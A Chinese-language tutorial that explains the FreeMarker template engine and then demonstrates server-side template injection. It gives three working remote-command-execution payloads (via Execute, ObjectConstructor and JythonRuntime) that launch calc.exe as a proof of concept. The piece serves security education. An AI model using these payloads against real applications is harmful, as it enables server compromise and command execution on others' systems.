一、什么是 FreeMarker?
FreeMarker 是一款 模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
而FreeMarker最初的设计,是被用来在MVC模式的Web开发框架中生成HTML页面的,它没有被绑定到 Servlet或HTML或任意Web相关的东西上。它也可以用于非Web应用环境中。
FreeMarker 是 免费的, 基于Apache许可证2.0版本发布。
二、FreeMarker模板
<html> <head> <title>Welcome!</title> </head> <body>
<#–这是注释–> <h1>Welcome ${user}!</h1> <p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>! </body> </html>
模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${...}
的部分, 之后将结果发送到访问者的Web浏览器中。访问者的Web浏览器就会接收到例如第一个HTML示例那样的内容 。
常用的几种类型:
文本:包括HTML标签与静态文本等静态内容,会原样输出;
插值:这部分的输出会被计算的数据来替换,使用${}这种语法;
标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name='bob'>;
注释:由<#–和–>表示,不会被freemarker处理
三、利用注入实现远程命令执行
3.1 搭建一个简单的测试页面,在页面上提交一个参数,参数会通过freemarker模块被处理,当然参数不经过任何处理,参数会显示在Hello后面。
3.2 按照FreeMarker模板插值的用法,提交${2*2},显示Hello 4,说明表达式被执行了
3.3 FreeMarker高级内置函数
参考:https://freemarker.apache.org/docs/ref_builtins_expert.html
其中, new函数创建一个继承 freemarker.template.TemplateModel 类的变量。
New 使用示例:
3.4 构造Payload方法一
freemarker.template.utility里面有个Execute类,如下图所示,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。
构造payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
3.5 构造Payload方法二
freemarker.template.utility里面有个ObjectConstructor类,如下图所示,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。
构造payload:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
3.6 构造Payload方法三
freemarker.template.utility里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。
构造payload:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>